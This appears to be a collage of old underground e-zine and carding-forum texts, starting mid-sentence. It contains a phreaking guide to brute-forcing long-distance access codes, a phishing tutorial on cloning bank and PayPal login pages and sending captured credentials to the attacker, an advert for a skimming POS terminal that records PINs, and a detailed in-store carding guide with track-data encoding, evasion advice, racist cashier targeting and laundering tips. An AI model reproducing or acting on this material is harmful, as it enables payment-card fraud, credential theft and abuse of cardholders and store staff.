best days to go are on Tuesdays or Wednesdays.
|
||
***Now here are a few additional points of interest to note for the heck of
|
||
it, so here goes....
|
||
*= THE =*
|
||
**- APPLICATION -**
|
||
II.> Driver Information and the Application.
|
||
Quickly, there are 5 types of forms used by the DMV in processing such re-
|
||
quests as DL, ID, Replacement (of either), Computer paper & the renewal appli-
|
||
cation form (DL-1RN). BTW, according to this doc that I am sorta copying, it
|
||
says that the renewal process will and is being phased out with "the new system
|
||
now being installed". *CA has seen perhaps the very first of this 'new' system.*
|
||
13.011
|
||
Every applicant for an original, or renewal, driver license whose form DL-44
|
||
indicates previous driving experience, but who does not indicate or produce a
|
||
previous license, should be asked whether he/she holds a regular license from
|
||
California or any other state or country. The reason for the inquiry (Sec-12511
|
||
& 12518vc) should be "politely" explained. Instruction or learner's permit &
|
||
"International Drivers Licenses" are not considered to be regular licenses. If
|
||
an applicant over the age of 18 cannot produce a valid or recently (within one
|
||
year) expired foreign license, a check by H-6 inquiry <?> to the automated sys.
|
||
or Wats Line must be made prior to processing of the application.
|
||
+++H-6 inquiry to automated sys OR WATS line sounds like a hacking adventure!..
|
||
Anyone with info on this possibility please fill us in at 800/755-3493 x-9657.
|
||
IV.> PART 5:
|
||
\|/
|
||
?[>*C*H*I*P*=>!
|
||
/|\
|
||
*P* - PHREAKING>
|
||
Intro:
|
||
|
||
950XXXX.LST
|
||
Here is a current list of operating L/D Co's, which provide access to
|
||
telco. lines across our fine country (ha!)... Of course what makes it so fine
|
||
is that with each of these L/D carriers, there is a code that is entered to be
|
||
able to access the fine features of each of these fine L/D service providers.
|
||
So someday with nothing better to do, give 'em a try and try out different
|
||
access code numbers (randomly), and hopefully you'll be able to make FREE phone
|
||
calls in no time. Don't abuse it however, because they do tend to monitor any
|
||
high usage on these numbers.
|
||
[-------------------------------------------------------------------------]
|
||
| 950- | Code Format | Name of Company | Comments |
|
||
[-------------------------------------------------------------------------]
|
||
| 0223 | 6 digits + acn | Cable and Wireless | Business/calls overseas |
|
||
| 0266 | 7 digits + acn | Com Systems | MC/V/AE w/o exp-ok! Hit "0"|
|
||
| 0370 | 7 digits + acn | LDS | Long Distance Services |
|
||
| 0488 | acn + 13 digits| ITT | |
|
||
| 0511 | 6 digits + acn | Execuline | |
|
||
| 1022 | 0 + acn + 14dig| MCI Execunet | Calling card - 14 digit # |
|
||
| 1033 | 0 + acn + 14dig| MCI | Calling card - 14 digit # |
|
||
| 1044 | 6 digits + acn | Allnet | |
|
||
| 1050 | 6 digits + acn | Metrophone | |
|
||
| 1055 | 6 digits + acn | Telesphere | MC/V/AE ok too!! push "0" |
|
||
| 1407 | 7 digits + acn | TMC Watts #1 in CA | |
|
||
| 1408 | 7 digits + acn | TMC Watts #2 in CA | |
|
||
| 1444 | 9 digits + acn | Allnet | International Access also |
|
||
| 1555 | 6 digits + acn | Telesphere | |
|
||
| 1621 | 9 + acn + 6dig#| na | 9 + acn + 6 digits? |
|
||
| 1772 | code + acn | na | Voice for "access code" |
|
||
| 1820 | na | BizTel | |
|
||
| 1979 | 6 digits + acn | VorTel | |
|
||
| 1999 | 6 digits + acn | ITT | 800/275-0100 for account |
|
||
[-------------------------------------------------------------------------]
|
||
Design/Getting a scam page (Casino)
|
||
1. Design/Getting a scam page
|
||
So to start you will need a decent scam page, one that looks life the real deal a
|
||
nd will fool people into entering there details. Scam pages come in diffent forms
|
||
and sizes from a single page to multiple ones but as long as yours is accurate it
|
||
should work well. I have seen many scam pages or spam mail with countless spelling
|
||
and grammar mistakes, I advise everyone to use a spell checker and read through it a few times, if your
|
||
the language you are using is bad then ask someone who is
|
||
fluent in that language to check it.
|
||
Designing your own scam page:
|
||
I do not know much about designing your own apart from the basics, there are
|
||
|
||
others who are advanced and can add things like security lock and incorrect entry errors
|
||
but for now you should start off with basic stuff.
|
||
1. Go to the webpage that you are wanting to replicate.
|
||
2. File, view source, notepad or similar program should open with alot of text.
|
||
3. Save somewhere safe and close.
|
||
4. Open and copy the source to a web design program, i would suggest
|
||
'Microsoft Front Page Editor' as it can be downloaded for free and is easy to use.
|
||
5. Edit the webpage to suit your needs.
|
||
6. Go back to the source and now you will have to edit a few lines of it so
|
||
that the entires are sent to you ( I cannot at this time remember what lines
|
||
to edit so i will edit this shortly)
|
||
Or to make the above a little bit more easier, you can download the following
|
||
program and rip an entire site for you to play around with in your choosen
|
||
web design program..
|
||
BlackWidow - http://sbl.net/Downloads/BlackWidow%20Setup.exe
|
||
It has a 30 day trial restriction but a quick net search and you should be
|
||
able to get a crack.
|
||
Using free scam pages:
|
||
Here are some free scam pages, thanks to Magister and blacksabbath who
|
||
spent time creating them and gave them away at no cost, they are pretty
|
||
decent and should work well. There are full versions of the e-gold and
|
||
paypal scam page so if you would like that you can buy them
|
||
off Magister.
|
||
E-gold - http://www.glcco.com/invision/source...old%20LITE.zip
|
||
Paypal - http://dataonesoftware.com/html/them...les/PayPal.zip
|
||
eBay - coming soon
|
||
AOL - http://blacksabbathpagez.tripod.com/aolsc.zip
|
||
BankOne - http://blacksabbathpagez.tripod.com/bankone.zip
|
||
Copy and past the links into a new browser as hotlinking might not work.
|
||
The files are zipped so use winrar or a similar program to unpack them.
|
||
Buying scam pages:
|
||
You can by very proffesional scam pages from a few vendors, price varies on how
|
||
good the page is, some vendors i would suggest are:
|
||
Magister (CP)
|
||
Aphrodite (CP)
|
||
1.1 Setting Up Scam page (Getting details sent to email, icq etc)
|
||
|
||
To make the details get sent to you, you will have to edit a few lines in one
|
||
file which has to be done to the ones you are using. In the files specified
|
||
below find the line mail("you@you.you") and change the part in brackets
|
||
to your email.
|
||
E-gold - access.htm is the start page, set mail address at acct.php
|
||
Paypal - login.html is the start page, set mail address at paypal.php
|
||
eBay - coming soon
|
||
AOL - aol.comsupport is start page, set mail address at process.php
|
||
BankOne - SecurityUpdate is the start page, edit same line when viewing source
|
||
on SecurityUpdate
|
||
1.2 Hosting Scam page
|
||
You will need to find a stable anon host which will allow you to keep your
|
||
scam page up for a few days, most hosts will take it down as soon as they
|
||
notice or get complaints about it so choosing a good host is important.
|
||
OffShore Hosts -Look for a host that is situated in a different country
|
||
as they do not really care what it is used for and have slow/weak spam and
|
||
fraud control, offshore hosts are always good for this sort of work.
|
||
Radmins - If you have some spare money i would suggest ivesting in one or
|
||
two radmins, radmins are computers you have full remoute access to so you
|
||
can do whatever you want with them. A radmin with a good speed can do
|
||
many things from hosting to spamming and browse for them so they are good
|
||
investment for scam page users. Radmins can last for a long time depending what
|
||
they are used for but for scam pages the average is around 2weeks which is more
|
||
than enough time for your scam page. Look around and you should be able to
|
||
find a reputable seller of these however be careful as there are alot of rippers
|
||
selling these.
|
||
Bulletproof Hosts - I do not know much about this type of host but it seems some
|
||
people like to it to host scam pages because of it being anon,fast, reliable and it
|
||
allows its users to advertise by spam unlike some hosts which will take your site
|
||
down if spam complaints are recieved.
|
||
Other hosts - Look around and spend some time trying out different hosts and you
|
||
are sure enough to find a few good ones for scam pages, use a CC to card the
|
||
accounts as it would be stupid to pay for it unless its reliable and anon.
|
||
1.3 Other
|
||
Here are a few methods to make your scam page look even more authentic,
|
||
I have not tried these but here is some information from those that have..
|
||
Fake Address bar -
|
||
|
||
You create an activex floating white window the size of the address bar and
|
||
place the x/y values of it where the normal address bar would be. Works perfect,
|
||
however if they're not in full screen mode ur FUCKED.
|
||
Example - http://www.doxdesk.com/personal/post...3-ie/bank.html
|
||
Also depending on resolution the effect varies.
|
||
Fake URL -
|
||
You can mask the URL of your host by using this old (but still working) technique
|
||
http://<realurl>%00%01@<fakeurl>/
|
||
So
|
||
http://www.e-gold.com.@www.paypal.com/
|
||
Magic!!
|
||
It takes you to the paypal site but shows www.e-gold.com in the address bar...
|
||
Fake SSL certificate -
|
||
To get the lock at the bottom right of your screen on your scam page you will
|
||
need to use a host that gives you the certificate as part of the package, the
|
||
user who is viewing the scam page will have to click yes on the alert box that
|
||
comes up and the padlock will be shown, this is good for sites like e-gold which
|
||
tell the user to check for the padlock before logging in.
|
||
http://www.apache-ssl.org is a good site to get you started with a host with ssl cert.
|
||
PART TWO ON SPAMMING WILL BE COMPLETED SOON.
|
||
Dump + PIN from POS
|
||
The best POS (Point Of Sale System) to use to get dump (track 1 and 2) and PIN on. For all carders who
|
||
work or have connections with people who work in Bars, Cabs, Delivery service.
|
||
When the customer uses their card and punches in the PIN this POS stores the PIN. And HEY! you get
|
||
the dump + PIN.
|
||
So from now Dump + PIN is not only a myth.
|
||
Below is the details and model numbers vx670 - read up some more and hopefully before the end of
|
||
Novemeber 2011, I will have some for intretsed and professional members.
|
||
1.vx670 - wireless
|
||
|
||
2.vx670 - wired
|
||
Descriptions:
|
||
This machine can Store track 1/2 along with pin are stored and time stamped.It got options to say
|
||
approved, communication error, declined, unknown error and INSUFF funds.
|
||
This POS Machine can process both debit and credit cards, machine will never communicate with the real
|
||
bank server,machine is not physically tampered, just software was modded .It cannot process real
|
||
transactions, it will fake the actual transactions,gives you receipt and stores t1&2+pin,which you can
|
||
download later on your pc.
|
||
Available Options:
|
||
[-]Machine can process both Debit and Credit cards.
|
||
[-]Can say approved, communication error, declined, unknown error and INSUFF funds.
|
||
[-]You can add TIP to the sale options.
|
||
[-]You can limit the machine not to process more than X number of transactions.
|
||
[-]Can customize the Merchant receipt and customer receipt on your own
|
||
[-]Data is 3DES encrypted, only with a valid key can able to decrypted it (ON/OFF feature available)
|
||
[-]All the passwords,approval codes,MID,TID all can be changed from settings menu
|
||
[-]All currency's are accepted on pos.
|
||
[-]All pos's will come with necessary cables for a success functionning.
|
||
Dumps Tutorial: #1
|
||
Everything you wanted to know about instore carding
|
||
Introduction:
|
||
So youre interested in trying out instore carding? Instore carding is one of the fastest ways to get money.
|
||
But you will need to keep your head on straight for this. As you should with every operation you go out to
|
||
do. This tutorial will tell you the ins and outs of instore carding. Feel free to
|
||
distrobute this as much as you want.
|
||
For the beginners:
|
||
Youre obviously reading this because you either A. Want to learn how to instore card or B. Want to see if
|
||
you can find anything you are not aware of. For people who chose A. You should have atleast some prior
|
||
knowledge of credit cards before you try instoring. If you do not that is ok too, just keep reading the
|
||
tutorial and by the end of it you should be fine. The most important thing about instore carding is how
|
||
you *Take the part* of the identity youre *Playinig* as. If youre going into a store looking to come out
|
||
with $3-5k worth of electronics dressed in your normal apparel and being nervous, think again. You need
|
||
to dress up and act like a person who would look like they could buy these items any day of the week.
|
||
The first time youre going to be nervous ofcourse, its natural to be nervous the first few times. But with
|
||
time and past experiences to look back on, it just gets easier as you go on.
|
||
Dressing the part:
|
||
|
||
This should come natural to most people out there. To buy something expensive you need to make it look
|
||
like you can buy these items along with acting like you can (below). For your first operation i suggest
|
||
should include you going into any of the clothing stores listed below and buy a decent amount of quality
|
||
clothes. I cannot stress enough how quality plays a part in dressing up. Buying a sweater in walmart and a
|
||
sweater in banana republic could determine the difference between getting out with your goods or running
|
||
out of the store. Along with clothing you might want to buy some jewelry or a very high priced watch. If
|
||
a cashier suspects something is up, seeing some classy jewelry or a watch could also help reduce the
|
||
suspicion.
|
||
Clothing stores are usually never uptight with purchases of clothing so that is why I suggest going there
|
||
first to get some quality clothes. You can be dressed as you want in there and it wont matter. When you
|
||
buy the new clothes, put them on in a restroom and then continue your activities on a higher priced basis.
|
||
Acting the part:
|
||
This area will come hard for some but easier for others. Prepare yourself before you go in with things you
|
||
might say. If youre going into a store to
|
||
buy smaller items ($800 and below) , this usually not hard to accomplish. But for larger items you should
|
||
act as if you can afford these items at any time of day. Acting stuck up in a sense can accomplish this.
|
||
Other than that, dressing the part is the other area that helps you present yourself as a person of wealth.
|
||
Beginning:
|
||
Before you go out there and start instoring you will need the following items.
|
||
Card reader/writer - Youre going to have to (in most cases) need a card reader/writer to write new dumps
|
||
on your cards. Especially if you want to re encode your cards and go out. The only case where you would
|
||
not need this is if you were buying plastic from a vendor who offers to encode the dumps for you. For a
|
||
reader/writer I highly recommend the MSR-206. It is the most popular encoder out there. You can buy
|
||
them from
|
||
Price: $200 $640
|
||
Computer/Laptop (Preferred) - To be able to encode your dumps (later on) you will first need a computer
|
||
to hook your card encoder up to. Using a desktop is fine but if you come into any problems with your
|
||
dumps which is going to happen, you will have no way to re encode your plastic. You will have to drive
|
||
home and re encode there. But if you have a laptop, you can bring your MSR with you and just hook it up
|
||
and re encode while youre in your car. Doing this will save you gas, and time.
|
||
Price: $600 to $2400
|
||
Power Inverter - This is a very handy tool that youre going to need for this and you will probably find
|
||
yourself using for all other types of things.
|
||
The MSR requires a power source so buy or card one of these. If your laptop battery gets low aswell
|
||
which will sometimes happen just hook it up aswell. I found a very good one at BestBuy for $80. It
|
||
covers up to 800 watts (400 watts each plug).
|
||
Price: $80
|
||
Plastic - I have seen all sorts of ways to obtain plastic. From stealing others and using those to buying
|
||
them from a vendor. You DO NOT want to steal anyones credit cards and start using those. And you do
|
||
not want to re encode your own credit cards. Im sure it makes sense to do so but over time if you start
|
||
using your own credit card, the credit card companys are going to see the name being used and will surely
|
||
contact you about these occurances. The best bet is to buy plastic from a vendor. Think about this too.
|
||
When buying plastic, get atleast 2 cards with the same name as your novelty. It will save money on new
|
||
novelties and give you a higher chance of walking out with your merchandise.
|
||
|
||
Dumps - The most important item of this whole operation. What would you do without dumps? Nothing
|
||
thats what. I highly recommend snifferhack or linx101 for dumps. They supply the best quality on dumps.
|
||
I have over 7-12 different dump vendor friends and I still stay strong with these 2. Now depending on
|
||
what youre planning on getting out for your first op will determine on how much you will need to spend
|
||
on dumps. I would not worry about spending for now. As soon as your op is over you will see that you
|
||
have well made your money back from this.
|
||
Wallet - Some people may think that putting the plastic and novelty in your own wallet is not a bad idea.
|
||
But the truth is that it is probably one of the biggest problems that could arise if anything was to happen.
|
||
Keeping your false information and your real information seperate is a necessity. If you have any sort of
|
||
personal contact information on you when carding I would suggest dropping it off in your car.
|
||
Optional Items -
|
||
Fake ID - HIGHLY RECOMMENDED but is not always needed. Most of the time for large purchases
|
||
cashiers will ask for an identification that matches the plastic. There are numerous vendors out there who
|
||
provide a novelty service that will fit your needs. Getting a state that is semi close to you is ideal in this
|
||
situation.
|
||
Anonymous Phone - This is optional to have, I have used Chrome's dumps the most and he checks the
|
||
dumps before sending so that all are valid. His dumps work 8/10 times on average. So if one card does
|
||
not work I simply hand them another card with an excuse as to why that card was not working. When
|
||
using a phone merchant there are two ways of authorizing a card. Some people think that charging a $1 or
|
||
$1.50 on the card will not kill the card as many businesses use a $1 or $1.50 charge as a pre-authorization
|
||
to check and see if the card is valid. Others prefer charging a random higher amount to make it look like a
|
||
legit purchase. Either way, its up to you how would want to check it.
|
||
Serial to USB Converter - Smaller laptops may not come with a serial port to connect your encoder to. If
|
||
this is the case you will need to buy one of these.
|
||
Price: $15-$25
|
||
Newskin Bandaid Liquid - You might be asking yourself "What would I do with this?". Well, if you
|
||
really want to be protective you can put some newskin on your finger tips so no traces of fingerprints will
|
||
appear on the plastic if any misfortune was to happen.
|
||
Planning:
|
||
Planning out what youre going to buy before you buy it would be a nice thing to do. It saves you time
|
||
thinking of what you need or might need.
|
||
Also think about this. If youre main goal is to get a hefty sum of money, you should checkout ebay to see
|
||
what sells for a high percentage. Usually gift cards to popular stores get high amounts back because they
|
||
are just like cash. But just double check ebay.
|
||
If youre going to do an instore op for your own personal pleasure then you really dont need to make a list
|
||
because you should already know what you want to get. Or you can look around in the store and choose
|
||
what you want.
|
||
Taking care of business:
|
||
Before hand I always like going to the bathroom. It makes the carding situation a bit more easier if you
|
||
get nervous. You do not want to get caught and be remembered as the kid who shit his pants. That is if
|
||
you do get caught which odds are you wont if you follow these instructions.
|
||
|
||
Destination Safety:
|
||
Choosing a location to instore is not very hard. The internet has a vast amount of websites that have store
|
||
locators. So find your subject mall or store and do a search to see whats around you. Here is a very
|
||
important rule to follow by. Do not do anything where you live. Or in a more common way of putting it.
|
||
Dont shit where you live. Find a store thats atleast a good half hour drive away from you and is atleast
|
||
two cities over.
|
||
Some people choose to use fake license plates when entering your destination for carding just to add that
|
||
extra level of security on in case a camera catches the car that drives away. This is ofcourse optional, but
|
||
it doesnt hurt to put more safety on. Just dont speed away or anything that could get you pulled over.
|
||
Parking - When parking your car, make sure you park for out so no camera will catch your license plate.
|
||
It will be worth the extra walk when youre walking out with your merchandise.
|
||
So now you have everything you need to get started. Youre prepared for the best and the worst situations
|
||
to come.
|
||
The first time you go out you should expect some nervousness to come even before entering one of the
|
||
stores listed below. The most important thing to do is to stay calm and act natural. The more suspicious
|
||
you act, the more the cashier is going to suspect something is up. I do not recommend taking any drug or
|
||
alcohol to calm yourself down. You need to look calm and natural while being alert to your atmosphere at
|
||
the same time.
|
||
Anatomy of a dump:
|
||
B41111111111111111111^LASTNAME/FIRSTNAME^060910100 000000000000000000
|
||
41111111111111111111=0609101000000000000000000000
|
||
B - Identifies to the POS system that your card is a bank card
|
||
4111111111111111 - Credit Card Number
|
||
Lastname - Lastname of cardholder
|
||
/ - Seperater
|
||
Firstname - Firstname of cardholder
|
||
06 - Experation Year
|
||
09 - Experation Month
|
||
101 & Beyond - Bank data
|
||
Now some vendors will only sell the second track. So that leaves you with trying to figure out how to
|
||
write track1. Most stores do not check track1 so it is not the most important thing. But to be safe I always
|
||
include track1. Here is an example of what you will need to do. It is very easy.
|
||
4111111111111111=060910100000000000000
|
||
If you havent noticed, track2 in most cases is just like track1. To begin making track1, add a B that will
|
||
indeicate its a Bank card.
|
||
B4111111111111111=060910100000000000000
|
||
|
||
Then, youre going to want to change the = to a
|
||
^lastname/firstname^ .
|
||
B4111111111111111^LASTNAME/FIRSTNAME^0609101000000 00000000
|
||
And finally, youre going to add six zeros at the end of the dump.
|
||
B4111111111111111^LASTNAME/FIRSTNAME^0609101000000 00000000000000
|
||
And thats your dump. Like I said its not hard to create track1 from only having track2. If you soley buy
|
||
from BadB (soon ccoming back Smile) and linx,Script,Ryden or sniffer you will not have to do this.
|
||
Software to encode the dumps - I recommend TheJerms software. It is very self explanatory.
|
||
Types of dumps:
|
||
People ask me all the time about using generated dumps and if theyre good. I would not use generated
|
||
dumps. Most of the time they will only work correctly with a certain Bin. And there is a 15% less success
|
||
rate than using other types of dumps. You might as well use quality dumps in your locations you choose
|
||
so people will not remember you instead of having errors come up and your face gets noticed more easily.
|
||
The best quality dump you will probably find are skimmed dumps. Skimmed dumps mean that the actual
|
||
card was swiped onto a portable Mag Stripe reader. Therefore, using these you know you will have all of
|
||
the correct information for track1 and track2.
|
||
Hacked dumps are usually taken from databases by you guessed it, hackers. The quality on these are the
|
||
normal quality thats out there.
|
||
Dump types and limits:
|
||
I will only discuss so far visa, discover dump limits and a word on amex dumps as I have not encounted
|
||
any use with mastercard dumps.
|
||
Visa Classic - These types of dumps are usually the cheapest to buy from a vendor. I have heard that on
|
||
average you can get $500 on these types of dumps. But I have been pulled atleast $800 on them. Visa
|
||
classics have a balance limit of $500 to $3,500. Although the most I have been able to get off of a single
|
||
classic is $2,600 before an error occurs.
|
||
Visa Gold - One step above the classic, These limits start at $3,500 and can double as the cardholder
|
||
gains good credit. With these you can make higher amounts of purchases.
|
||
Visa Platinum - Visa platinum dumps are for the larger purchases mainly. On a good day you can pull off
|
||
anywhere from $3,000 to $6,000 .
|
||
Visa Signature & Business - Signatues are said to have no limits. So for us that means these have the
|
||
highest limits available. People have said to have gotten anywhere from $5,000 to $20,000 off of these
|
||
types of dumps.
|
||
Discover - I have not used these that much in my past but from what I gathered you can get anywhere
|
||
from $1,000 to $5,000 on these in one purchase. Using these dumps for multiple purchases will most
|
||
likely kill the dump before you get past either of those limits. Almost all discover cards begin with a
|
||
balance of $10,000.
|
||
Amex - I have not used these dumps. The reason to that is that you need the correct CVN to complete the
|
||
transaction. It is not embossed, but printed onto the plastic. So you cannot re encode amex dumps. If the
|
||
|
||
CVN is not correct when entered, you will automatically get a call for authorization.
|
||
How long dumps last:
|
||
This question no one can answer. You might be able to make a good prediction of how long they will last
|
||
if you think of time and the dump type. For instance. If you have a classic dump, its 11:30 AM and you
|
||
make a variety of small (Under $20) purchases. Odds are youre going to get that card to last a lot longer
|
||
than a classic dump thats doing $300 purchases at 7:30 PM. Think of the cardholders work hours. They
|
||
will usually be 9 AM to 5 PM. That is when their card is idle so to speak.
|
||
Choosing your cashier:
|
||
This is probably one of the more fun things to do while instoring. Usually 90% of the time, Minorities
|
||
and Younger Girls make the best choice for cashing out. Minorities include, Blacks, Mexicans, and
|
||
Asians if you were wonderings. The reason you want to choose these types for your cashiers are because
|
||
they are usually the easiest to manipulate. In some cases you are going to have to use a normal person to
|
||
cashout. But try not to make it a habit.
|
||
Interactions with the cashier:
|
||
In order to safely get your items out of the store successfully, you will need to know how to interact with
|
||
the cashier. To in a sense manipulate them. When you bring your stuff up to the cashier act normal. If it is
|
||
a large amount they might say something nice to you mentioning the amount of merchandise you are
|
||
buying. Just play with it and make them feel good aswell. If you make the cashier not feel comfortable
|
||
they will think something is up if any error happens. Which will sometimes if you are planning on doing a
|
||
lot of instore.
|
||
Errors and Excuses:
|
||
As I was saying above, there are going to be errors now and then. Now most are very easy to talk your
|
||
way out of. But in some cases youre going to need to know when you try and grab your novelty and card
|
||
and just run. That will most likely not happen if youre only doing this a few times but for people who are
|
||
planning to do this more often it is most likely going to happen atleast once. I have listed below a few
|
||
common errors and how to handle them.
|
||
Optional Pre-Excuse - LWAI brought this excuse method to a lot of peoples attention and it is a very
|
||
good idea in most cases. Making the cashier already think that the transaction will not go through so they
|
||
are not surprised by the error, which makes handling the situation much easier. Saying something as easy
|
||
as *I hope I have enough to cover this* or anything around those terms is good.
|
||
Declined - Once you spend and spend on a good dump there has to be an ending point. Usually with
|
||
dumps that will not die this is the final step to completing it. Hopefully you will have another card on you
|
||
to hand the cashier. If you don't thats fine too.
|
||
If you have another card - Oh, I thought that was going to happen. Here try my other card. If you do not
|
||
have another card - I will be right back. I'm going to go get my check book / go to the ATM.
|
||
Call For Authorization - This one can be tricky if you do not have the right cashier. This is something you
|
||
DO NOT want the cashier to do. A call for authorization is basically the store calling the bank or the
|
||
stores authorization center in order to confirm that it is the actual cardholder making the purchase. If this
|
||
happens just stay calm.
|
||
If you have another card - I don't have that much time, Ill call the bank later. Try my other card. If you do
|
||
not have another card - I don't have that much time for this Ill call my bank and come back tomorrow.
|
||
|
||
If they persist on making the call, put your hand out as if they were going to give you your plastic back.
|
||
Doing this tends to put some stress on the cashier as to whether or not give the card back to you. They
|
||
usually will put the card back in your hands.
|
||
Do Not Honor - This will happen every now and then and is probably the easiest to overcome. The
|
||
cashiers will sometimes just ask you if you have another card.
|
||
If you have another card - Hand them the card and say you'll call the bank about that one. If you do not
|
||
have another card - Oh, I will call my bank about that tomorrow (then leave)
|
||
Those are the most common problems you are going to find. Of course there are more error codes. There
|
||
are about 50 of them. But by the time you manage to talk yourself out of these you will have enough
|
||
experience to talk yourself out of the rest.
|
||
Selling your items:
|
||
There are a vast amount of ways for you to liquidate your items. The best way to do so is on ebay. I am
|
||
not going to go into a large description because then this tutorial would change to how to sell your items
|
||
or scam on ebay. You can either buy an account from a vendor or get a B&M bank account and create
|
||
your own. I do not suggest using your own ebay account. A lot of people have in the past and even if a
|
||
good amount havent been caught, you do not want to be that small percent that does.
|
||
Here is another area that can be done in a lot of ways. I will tell you to not put the money in your legit
|
||
bank account. If you were thinking that, you should take a minute and think again. You could store your
|
||
money on an electronic bank account service such as egold, or webmoney. Or if you want
|
||
more control over your money, you could keep it all in a well hidden safe. Using an electronic bank
|
||
account instead has a higher security rate. As if anything was to happen to you involving LE, odds are
|
||
they will not find your information for that account. Which means they would not have access to your
|
||
funds because they would not know it exists.
|
||
End Notes:
|
||
Thank you for taking your time to read this tutorial. I hope it was worth your time! I also hope that
|
||
everyone who is inspired by this reply with any words or questions they would like to say. Good luck to
|
||
all of you!
|
||
Merchant Codes:
|
||
Quote:00 Approved
|
||
01 Refer to Card Issuer
|
||
02 Refer to Card Issuer, special condition
|
||
03 Invalid Merchant
|
||
04 Pick up card
|
||
05 Do not honor
|
||
06 Error
|
||
07 Pick up card, special condition
|
||
08 Honor with identification
|
||
09 Request in progress
|
||
10 Approval for partial amount
|
||
11 Approved VIP
|
||
12 Invalid Transaction
|
||
13 Invalid Amount
|
||
14 Invalid card number
|
||
19 Re-enter transaction
|
||
21 No action taken
|
||
|
||
30 Format Error
|
||
41 Lost card Pick up
|
||
43 Stolen card Pick up
|
||
51 Not sufficient funds
|
||
52 No checking account
|
||
53 No savings account
|
||
54 Expired card
|
||
55 Pin incorrect
|
||
57 Transaction not allowed for cardholder
|
||
58 Transaction not allowed for merchant
|
||
61 Exceeds withdrawal amount limit
|
||
62 Restricted card
|
||
63 Security violation
|
||
65 Activity count limit exceeded
|
||
75 Pin tries exceeded
|
||
76 Unable to locate previous
|
||
77 Inconsistent with original
|
||
78 No account
|
||
80 Invalid transaction date
|
||
81 Cryptographic PIN error
|
||
84 Pre-authorization time to great
|
||
86 Cannot verify PIN
|
||
89 MAC error
|
||
91 Issuer unavailable
|
||
92 Invalid receiving institution id
|
||
93 Transaction violates law
|
||
94 Duplicate transaction
|
||
96 System malfunction
|
||
Dumps Tutorial :#2
|
||
INTRODUCTION:
|
||
C=The *use* of our credit system for personal gain & financial freedom!
|
||
H=The practice of accessing *secure* computers with innovative techniques/skill.
|
||
I=Assuming or establishing a *new* guise by "creating" an identity on paper.
|
||
P=The know-how and interest in the telecom industry and the services it provides
|
||
Hi-?!
|
||
Issue two already! I just finised #-01 about a week ago, and already I feel
|
||
I have enough text & information of interest to warrant a quick follow-up to
|
||
#-01! ....so here it is, #-02! I hope #-01 has provided those who have read it,
|
||
something to think about and/or "work on". If not, well then perhaps this one
|
||
will. If not, then perhaps a monastery or convent would be a better place for
|
||
the likes of you!!
|
||
II.> PART 2-
|
||
\|/
|
||
?[>*C*H*I*P*=>!
|
||
|
||
*C* - CARDING> /|\
|
||
Intro:
|
||
Below are as many BIN's as I could round up. Each one is listed according to
|
||
the Banks ID No. (BIN) - which are the first 6 nos. of a CC. (Credit Card).
|
||
Of course, the first no. indicates a Visa (4) or a Mastercard (5). Bin's aren't
|
||
all that important to know, but can be if you NEED to know the name of a bank
|
||
that issued the CC no. you have.
|
||
So FYI and bemusement, here's that information-
|
||
BANK IDENTIFICATION NUMBERS:
|
||
^^^^ ^^^^^^^^^^^^^^ ^^^^^^^
|
||
~~VISA BINs~~
|
||
^^^^ ^^^^
|
||
*4000-4999*
|
||
401903 = Bank of America
|
||
402400 = Bank of America
|
||
402402 = Bank of America (Gold)
|
||
403200 = Household Bank
|
||
4040?? = Connecticut National Bk
|
||
4040?? = Wells Fargo
|
||
4050xx = 1st Interstate
|
||
4052?? = First Cincinnati Bank
|
||
405209 = First Nationwide Bank
|
||
4060?? = Navy Federal Credit Union
|
||
407000 = Security Pacific Ntl. Bank
|
||
407129 = Colonial National Bank
|
||
411427 = Chemical Bank
|
||
412174 = Signet Bank/Virginia
|
||
412185 = Citibank/Signet?
|
||
41235? = Commerce Bank
|
||
4128xx = Citibank
|
||
416818 = Great Western Bank
|
||
4131?? = State Street Bank
|
||
4170?? = Beneficial National
|
||
417129 = Colonial Bank
|
||
4188?? = Ohio Savings & Loan
|
||
4211?? = Chemical Bank
|
||
4215?? = Marine Midland
|
||
422591 = Chase Manhattan
|
||
4226xx = Chase Manhattan
|
||
4231?? = Chase Lincoln 1st Classic
|
||
4232?? = Chase Lincoln 1st Classic
|
||
4237?? = Cicero Credit
|
||
4241?? = Natl. Westminester Bank
|
||
425043 = First Chicago Bank
|
||
425330 = Bank of N.Y./Consumer Edge
|
||
425451 = Chemical Bank
|
||
4262xx = Corestates Bank of DE
|
||
427138 = Citibank
|
||
|
||
4302?? = HouseHold Bank
|
||
431068 = Bank-Layfayette/Imprl Svg's
|
||
4312?? = Barnette Credit
|
||
431301 = Valley Federal S&L
|
||
431663 = Glendale Savings & Loan
|
||
431772 = Gold Dome
|
||
4321?? = Mellon Bank
|
||
433213 = Bank of Indiana
|
||
433222 = Far West Virginia
|
||
4349?? = First Bank of America
|
||
436800 = Sovran Bank/VA
|
||
438733 = Bank One
|
||
438760 = More Bank
|
||
440121 = Gary Wheaton
|
||
440862 = Charleston of Indiana
|
||
441712 = Mellon Bank
|
||
442813 = Bank of Hoven
|
||
442843 = " " " "
|
||
44288? = Colonial National Bank
|
||
443600 = Security Bank of Monroe
|
||
4448?? = First National Bank - RI
|
||
46165x = First Interstate Bank
|
||
4626?? = Indiana National Bank
|
||
4646?? = Mercantile
|
||
4672?? = Mercantile Bank
|
||
467362 = First National Bank;
|
||
467807 = Home Fed Svg's/1st Card
|
||
467808 = Home Fed Svg's/1st Card
|
||
468120 = Harris Trust Savings
|
||
4696?? = Credit of Kansas
|
||
4718?? = Colorado Bank
|
||
4734?? = Madison Bank
|
||
480012 = Valley Federal S&L
|
||
4811?? = Bank of Hawaii
|
||
4825?? = First Wisconsin
|
||
4897?? = Village Bank of Cinn., OH _________
|
||
/ Here are \
|
||
4929?? = Barclay Bank/DE | what the |
|
||
^ | holograms |
|
||
| | SHOULD show!|
|
||
| \_____ _____/
|
||
*BIN* = #### ## (1st 6 nos.) Y
|
||
| |
|
||
| _____________________________|______
|
||
| [ | ]
|
||
^ | MASTERCARD INTERNATIONAL___v____ |
|
||
| | [ v+===\*] |
|
||
/--<+-->| 5555 1234 5678 9012 [ | I|] |
|
||
| | ^^^^ ^^ ] Q I|] |
|
||
| +==>| 6512 11-91 TO 11-92 [ /|\ I|] |
|
||
| | | ^^^^ [_/^\_ I=] |
|
||
| | | JUSTIN CASE MD [________] |
|
||
|
||
| | | |
|
||
| | [____________________________________]
|
||
| |
|
||
| *-==>IBN* = #### (above cardholder's name)
|
||
| |
|
||
| |
|
||
A>|M/C's |
|
||
==v===== v
